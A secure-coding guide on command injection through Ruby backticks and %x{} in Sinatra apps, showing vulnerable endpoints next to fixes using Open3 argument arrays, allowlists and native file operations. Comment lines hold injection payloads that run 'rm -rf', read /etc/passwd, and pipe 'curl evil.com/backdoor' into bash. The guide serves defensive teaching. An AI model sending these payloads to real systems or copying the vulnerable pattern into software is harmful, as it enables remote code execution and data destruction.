Command injection from untrusted input in Ruby backtick subshell

Critical Risk command-injection
rubycommand-injectionbacktickssubshellstring-interpolationrce

What it is

A critical security vulnerability where a command string is built with string interpolation inside backticks, letting user-controlled data be interpreted by the shell with metacharacters. Attackers could execute arbitrary system commands, read or modify files, exfiltrate secrets, or fully compromise the server.

# VULNERABLE: Ruby script with backtick injection
require 'sinatra'
require 'json'

# VULNERABLE: Log analysis endpoint
get '/logs/:type' do
  log_type = params[:type]
  filter = params[:filter] || ''
  lines = params[:lines] || '10'
  
  begin
    # VULNERABLE: Backticks with user input
    if log_type == 'system'
      output = `tail -n #{lines} /var/log/syslog | grep "#{filter}"`
    elsif log_type == 'app'
      output = `tail -n #{lines} /var/log/app.log | grep "#{filter}"`
    elsif log_type == 'error'
      # DANGEROUS: Multiple user inputs in command
      output = `grep -i "#{filter}" /var/log/error.log | tail -n #{lines}`
    else
      output = 'Invalid log type'
    end
    
    { status: 'success', output: output }.to_json
  rescue => e
    { status: 'error', message: e.message }.to_json
  end
end

# VULNERABLE: File operations
post '/file-ops' do
  data = JSON.parse(request.body.read)
  operation = data['operation']
  target = data['target']
  
  result = case operation
  when 'info'
    # VULNERABLE: %x{} with user input
    %x{file #{target} && stat #{target}}
    
  when 'search'
    pattern = data['pattern']
    # DANGEROUS: Grep with user pattern
    `grep -r "#{pattern}" #{target}`
    
  when 'backup'
    destination = data['destination']
    # VULNERABLE: Multiple user inputs
    `cp -r #{target} #{destination} && ls -la #{destination}`
    
  when 'analyze'
    tool = data['tool'] || 'wc'
    options = data['options'] || '-l'
    # EXTREMELY DANGEROUS: User controls tool and options
    `#{tool} #{options} #{target}`
    
  else
    'Unknown operation'
  end
  
  { result: result }.to_json
end

# VULNERABLE: System monitoring
get '/system/status' do
  component = params[:component]
  detail = params[:detail] || 'basic'
  
  info = case component
  when 'disk'
    # VULNERABLE: User input in df command
    `df -h #{detail}`
    
  when 'memory'
    # VULNERABLE: Detail parameter in command
    `free #{detail}`
    
  when 'process'
    pattern = params[:pattern] || 'ruby'
    # DANGEROUS: Process search with user pattern
    `ps aux | grep "#{pattern}"`
    
  when 'network'
    port = params[:port] || '80'
    # VULNERABLE: Port parameter in netstat
    `netstat -tlnp | grep #{port}`
    
  else
    'Unknown component'
  end
  
  { component: component, info: info }.to_json
end

# Attack examples:
# GET /logs/system?filter=error"; rm -rf /var/log; echo "&lines=10
# POST /file-ops {"operation":"analyze", "tool":"sh", "options":"-c", "target":"curl evil.com/backdoor | bash"}
# GET /system/status?component=disk&detail=-h /; cat /etc/passwd; echo
# GET /system/status?component=process&pattern=ruby\"; wget evil.com/steal; echo \"
# SECURE: Ruby script without backtick injection
require 'sinatra'
require 'json'
require 'open3'

# SECURE: Log analyzer with validation
class SecureLogAnalyzer
  ALLOWED_LOG_TYPES = %w[system app error].freeze
  LOG_FILES = {
    'system' => '/var/log/syslog',
    'app' => '/var/log/app.log', 
    'error' => '/var/log/error.log'
  }.freeze
  
  def analyze_logs(log_type, filter, lines)
    # Validate inputs
    raise ArgumentError, 'Invalid log type' unless ALLOWED_LOG_TYPES.include?(log_type)
    raise ArgumentError, 'Invalid filter' unless valid_filter?(filter)
    raise ArgumentError, 'Invalid lines count' unless valid_lines?(lines)
    
    log_file = LOG_FILES[log_type]
    lines_num = lines.to_i
    
    # SECURE: Use File operations instead of shell commands
    read_log_file(log_file, filter, lines_num)
  end
  
  private
  
  def read_log_file(file_path, filter, lines_count)
    return 'Log file not found' unless File.exist?(file_path)
    
    matching_lines = []
    
    # Read file in reverse to get recent entries
    File.foreach(file_path).reverse_each do |line|
      if filter.empty? || line.include?(filter)
        matching_lines << line.chomp
        break if matching_lines.length >= lines_count
      end
    end
    
    matching_lines.reverse.join("\n")
  rescue => e
    "Error reading log: #{e.message}"
  end
  
  def valid_filter?(filter)
    # Allow alphanumeric, spaces, and basic punctuation
    filter.match?(/\A[a-zA-Z0-9\s._-]*\z/) && filter.length <= 100
  end
  
  def valid_lines?(lines)
    lines.match?(/\A\d+\z/) && lines.to_i.between?(1, 1000)
  end
end

# SECURE: File operations without shell commands
class SecureFileOperations
  ALLOWED_OPERATIONS = %w[info size checksum].freeze
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  
  def execute_operation(operation, filename)
    raise ArgumentError, 'Operation not allowed' unless ALLOWED_OPERATIONS.include?(operation)
    
    file_path = validate_file_path(filename)
    
    case operation
    when 'info'
      get_file_info(file_path)
    when 'size'
      get_file_size(file_path)
    when 'checksum'
      calculate_checksum(file_path)
    end
  end
  
  private
  
  def validate_file_path(filename)
    # Strict filename validation
    raise ArgumentError, 'Invalid filename' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise ArgumentError, 'Filename too long' if filename.length > 255
    
    # Find in safe directories
    SAFE_DIRECTORIES.each do |dir|
      candidate_path = File.join(dir, filename)
      resolved_path = File.expand_path(candidate_path)
      
      next unless resolved_path.start_with?(File.expand_path(dir))
      
      return resolved_path if File.exist?(resolved_path) && File.file?(resolved_path)
    end
    
    raise ArgumentError, 'File not found in safe directories'
  end
  
  def get_file_info(file_path)
    stat = File.stat(file_path)
    {
      name: File.basename(file_path),
      size: stat.size,
      modified: stat.mtime.iso8601,
      permissions: sprintf('%o', stat.mode)[-3..-1]
    }
  end
  
  def get_file_size(file_path)
    size = File.size(file_path)
    { size_bytes: size, size_human: format_size(size) }
  end
  
  def calculate_checksum(file_path)
    require 'digest'
    
    File.open(file_path, 'rb') do |file|
      content = file.read
      {
        md5: Digest::MD5.hexdigest(content),
        sha256: Digest::SHA256.hexdigest(content)
      }
    end
  end
  
  def format_size(size)
    units = %w[B KB MB GB]
    unit_index = 0
    
    while size >= 1024 && unit_index < units.length - 1
      size /= 1024.0
      unit_index += 1
    end
    
    "#{size.round(2)} #{units[unit_index]}"
  end
end

# Initialize secure components
log_analyzer = SecureLogAnalyzer.new
file_operations = SecureFileOperations.new

# Rate limiting
class RateLimiter
  def initialize
    @requests = Hash.new { |h, k| h[k] = [] }
  end
  
  def allowed?(ip, limit = 10, window = 60)
    now = Time.now
    @requests[ip].reject! { |time| now - time > window }
    
    if @requests[ip].length < limit
      @requests[ip] << now
      true
    else
      false
    end
  end
end

rate_limiter = RateLimiter.new

# Middleware
before do
  client_ip = request.env['HTTP_X_FORWARDED_FOR'] || request.ip
  halt 429, { error: 'Rate limit exceeded' }.to_json unless rate_limiter.allowed?(client_ip)
end

# SECURE: Log analysis endpoint
get '/logs/:type' do
  content_type :json
  
  begin
    log_type = params[:type]
    filter = params[:filter] || ''
    lines = params[:lines] || '10'
    
    output = log_analyzer.analyze_logs(log_type, filter, lines)
    
    {
      status: 'success',
      log_type: log_type,
      output: output
    }.to_json
    
  rescue ArgumentError => e
    halt 400, { status: 'error', message: e.message }.to_json
  rescue => e
    halt 500, { status: 'error', message: 'Analysis failed' }.to_json
  end
end

# SECURE: File operations endpoint
post '/file-ops' do
  content_type :json
  
  begin
    data = JSON.parse(request.body.read)
    operation = data['operation']
    filename = data['filename']
    
    result = file_operations.execute_operation(operation, filename)
    
    {
      status: 'success',
      operation: operation,
      result: result
    }.to_json
    
  rescue JSON::ParserError
    halt 400, { status: 'error', message: 'Invalid JSON' }.to_json
  rescue ArgumentError => e
    halt 400, { status: 'error', message: e.message }.to_json
  rescue => e
    halt 500, { status: 'error', message: 'Operation failed' }.to_json
  end
end

# SECURE: System status (limited, safe operations)
get '/system/status' do
  content_type :json
  
  # Only provide safe, pre-computed system information
  {
    status: 'operational',
    timestamp: Time.now.iso8601,
    uptime: File.read('/proc/uptime').split.first.to_f rescue 0,
    load_average: File.read('/proc/loadavg').split[0..2] rescue [],
    ruby_version: RUBY_VERSION
  }.to_json
end

# Health check
get '/health' do
  content_type :json
  { status: 'healthy' }.to_json
end

💡 Why This Fix Works

The vulnerable code uses backticks and %x{} with string interpolation, allowing command injection through shell metacharacters. The secure version eliminates all shell command execution, using native Ruby file operations, comprehensive input validation, rate limiting, and safe system information gathering.

Why it happens

Using Ruby's backtick operator (`) with string interpolation containing user input creates command injection vulnerabilities. The backticks execute the interpolated string in a subshell.

Root causes

Backtick Execution with String Interpolation

Using Ruby's backtick operator (`) with string interpolation containing user input creates command injection vulnerabilities. The backticks execute the interpolated string in a subshell.

Preview example – RUBY
# VULNERABLE: Backticks with user input
def get_user_files(username)
  # DANGEROUS: User input in backtick command
  files = `ls /home/#{username}`
  files.split("\n")
end

def search_logs(pattern)
  # VULNERABLE: Search pattern in shell command
  results = `grep "#{pattern}" /var/log/app.log`
  results
end

# Attack examples:
# get_user_files("alice; cat /etc/passwd; echo")
# search_logs("error\"; rm -rf /; echo \"")

Dynamic Command Construction

Building shell commands dynamically with user input and executing them through backticks or %x{} syntax allows injection of shell metacharacters and command separators.

Preview example – RUBY
# VULNERABLE: Dynamic command with %x{}
def analyze_file(filename, tool)
  # DANGEROUS: Both filename and tool from user
  output = %x{#{tool} #{filename}}
  output
end

def process_data(input_file, options)
  # VULNERABLE: Options can contain shell metacharacters
  result = `process_tool #{options} --input=#{input_file}`
  result
end

# Attack examples:
# analyze_file("/etc/passwd", "cat; wget evil.com/steal; echo")
# process_data("data.csv", "--verbose; curl evil.com/backdoor | bash; echo")

Fixes

1

Use system() Array Form Instead of Backticks

Replace backtick execution with system() array form or Open3 methods that avoid shell interpretation. This prevents injection by treating arguments as separate entities.

View implementation – RUBY
require 'open3'

# SECURE: Replace backticks with Open3
def get_user_files_safe(username)
  # Validate username
  return [] unless valid_username?(username)
  
  # SECURE: Open3 with argument array
  stdout, stderr, status = Open3.capture3('ls', "/home/#{username}")
  
  if status.success?
    stdout.split("\n")
  else
    []
  end
rescue => e
  []
end

def search_logs_safe(pattern)
  # Validate search pattern
  return "" unless valid_search_pattern?(pattern)
  
  # SECURE: grep with separate arguments
  stdout, stderr, status = Open3.capture3('grep', pattern, '/var/log/app.log')
  
  status.success? ? stdout : ""
rescue => e
  ""
end

def valid_username?(username)
  username.match?(/\A[a-zA-Z0-9_-]+\z/) && username.length <= 32
end

def valid_search_pattern?(pattern)
  # Allow alphanumeric and basic regex chars
  pattern.match?(/\A[a-zA-Z0-9\s.*+?\[\]()-]+\z/) && pattern.length <= 100
end
2

Implement Command Allowlisting

Create strict allowlists of permitted commands and use safe execution methods. Map user operations to predefined, safe command configurations.

View implementation – RUBY
require 'open3'
require 'shellwords'

# SECURE: Command allowlisting with safe execution
class SecureCommandRunner
  ALLOWED_COMMANDS = {
    'list_files' => {
      command: 'ls',
      args: ['-la'],
      max_args: 1
    },
    'file_info' => {
      command: 'file',
      args: [],
      max_args: 1
    },
    'word_count' => {
      command: 'wc',
      args: ['-l'],
      max_args: 1
    },
    'search_text' => {
      command: 'grep',
      args: ['-n'],
      max_args: 2  # pattern and file
    }
  }.freeze
  
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  
  def execute_command(operation, *user_args)
    # Validate operation
    config = ALLOWED_COMMANDS[operation]
    raise ArgumentError, 'Operation not allowed' unless config
    
    # Validate argument count
    if user_args.length > config[:max_args]
      raise ArgumentError, 'Too many arguments'
    end
    
    # Validate and sanitize arguments
    safe_args = validate_arguments(user_args)
    
    # Build command array
    command_array = [config[:command]] + config[:args] + safe_args
    
    # Execute safely
    stdout, stderr, status = Open3.capture3(*command_array, 
                                           timeout: 30,
                                           chdir: '/safe/workspace')
    
    {
      success: status.success?,
      output: stdout,
      error: stderr,
      command: command_array.join(' ')
    }
  rescue Timeout::Error
    { success: false, error: 'Command timeout' }
  rescue => e
    { success: false, error: e.message }
  end
  
  private
  
  def validate_arguments(args)
    args.map do |arg|
      # Basic validation
      raise ArgumentError, 'Invalid argument format' unless arg.is_a?(String)
      raise ArgumentError, 'Argument too long' if arg.length > 255
      
      # Check for dangerous characters
      if arg.match?(/[;&|`$(){}\[\]<>]|\\\\|\\.\./)
        raise ArgumentError, 'Argument contains dangerous characters'
      end
      
      # Validate file paths are in safe directories
      if arg.start_with?('/')
        validate_file_path(arg)
      else
        arg
      end
    end
  end
  
  def validate_file_path(path)
    resolved_path = File.expand_path(path)
    
    # Check if path is in safe directories
    safe = SAFE_DIRECTORIES.any? do |safe_dir|
      resolved_path.start_with?(File.expand_path(safe_dir))
    end
    
    raise ArgumentError, 'Path not in safe directory' unless safe
    
    resolved_path
  end
end

# Usage example
runner = SecureCommandRunner.new
result = runner.execute_command('list_files', '/safe/uploads')
puts result[:output] if result[:success]
3

Use Ruby Libraries Instead of Shell Commands

Replace shell command execution with native Ruby libraries and File operations. This eliminates command injection risks entirely.

View implementation – RUBY
require 'digest'
require 'find'

# SECURE: Native Ruby file operations
class NativeFileOperations
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  
  def list_files(directory)
    safe_dir = validate_directory(directory)
    
    files = []
    Find.find(safe_dir) do |path|
      next unless File.file?(path)
      
      stat = File.stat(path)
      files << {
        name: File.basename(path),
        path: path,
        size: stat.size,
        modified: stat.mtime,
        permissions: sprintf('%o', stat.mode)[-3..-1]
      }
    end
    
    files
  rescue => e
    []
  end
  
  def search_in_file(filename, pattern)
    file_path = validate_file_path(filename)
    
    matches = []
    File.foreach(file_path).with_index(1) do |line, line_num|
      if line.match?(Regexp.new(Regexp.escape(pattern)))
        matches << {
          line_number: line_num,
          content: line.chomp,
          match: pattern
        }
      end
    end
    
    matches
  rescue => e
    []
  end
  
  def get_file_info(filename)
    file_path = validate_file_path(filename)
    stat = File.stat(file_path)
    
    {
      name: File.basename(file_path),
      size: stat.size,
      size_human: format_size(stat.size),
      modified: stat.mtime,
      type: File.extname(file_path),
      readable: File.readable?(file_path),
      writable: File.writable?(file_path)
    }
  end
  
  def calculate_checksum(filename)
    file_path = validate_file_path(filename)
    
    File.open(file_path, 'rb') do |file|
      content = file.read
      {
        md5: Digest::MD5.hexdigest(content),
        sha1: Digest::SHA1.hexdigest(content),
        sha256: Digest::SHA256.hexdigest(content),
        size: content.length
      }
    end
  end
  
  def count_lines(filename)
    file_path = validate_file_path(filename)
    
    line_count = 0
    word_count = 0
    char_count = 0
    
    File.foreach(file_path) do |line|
      line_count += 1
      char_count += line.length
      word_count += line.split.length
    end
    
    {
      lines: line_count,
      words: word_count,
      characters: char_count
    }
  end
  
  private
  
  def validate_directory(directory)
    # Basic validation
    raise ArgumentError, 'Invalid directory' unless directory.is_a?(String)
    
    resolved_dir = File.expand_path(directory)
    
    # Check if directory is safe
    safe = SAFE_DIRECTORIES.any? do |safe_dir|
      resolved_dir.start_with?(File.expand_path(safe_dir))
    end
    
    raise ArgumentError, 'Directory not allowed' unless safe
    raise ArgumentError, 'Directory does not exist' unless Dir.exist?(resolved_dir)
    
    resolved_dir
  end
  
  def validate_file_path(filename)
    # Filename validation
    raise ArgumentError, 'Invalid filename' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise ArgumentError, 'Filename too long' if filename.length > 255
    
    # Find file in safe directories
    SAFE_DIRECTORIES.each do |dir|
      candidate_path = File.join(dir, filename)
      resolved_path = File.expand_path(candidate_path)
      
      next unless resolved_path.start_with?(File.expand_path(dir))
      
      if File.exist?(resolved_path) && File.file?(resolved_path)
        return resolved_path
      end
    end
    
    raise ArgumentError, 'File not found in safe directories'
  end
  
  def format_size(size)
    units = %w[B KB MB GB TB]
    unit_index = 0
    
    while size >= 1024 && unit_index < units.length - 1
      size /= 1024.0
      unit_index += 1
    end
    
    "#{size.round(2)} #{units[unit_index]}"
  end
end

# Usage
file_ops = NativeFileOperations.new
files = file_ops.list_files('/safe/uploads')
info = file_ops.get_file_info('document.txt')
matches = file_ops.search_in_file('log.txt', 'ERROR')

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from untrusted input in ruby backtick subshell and many other security issues in your codebase.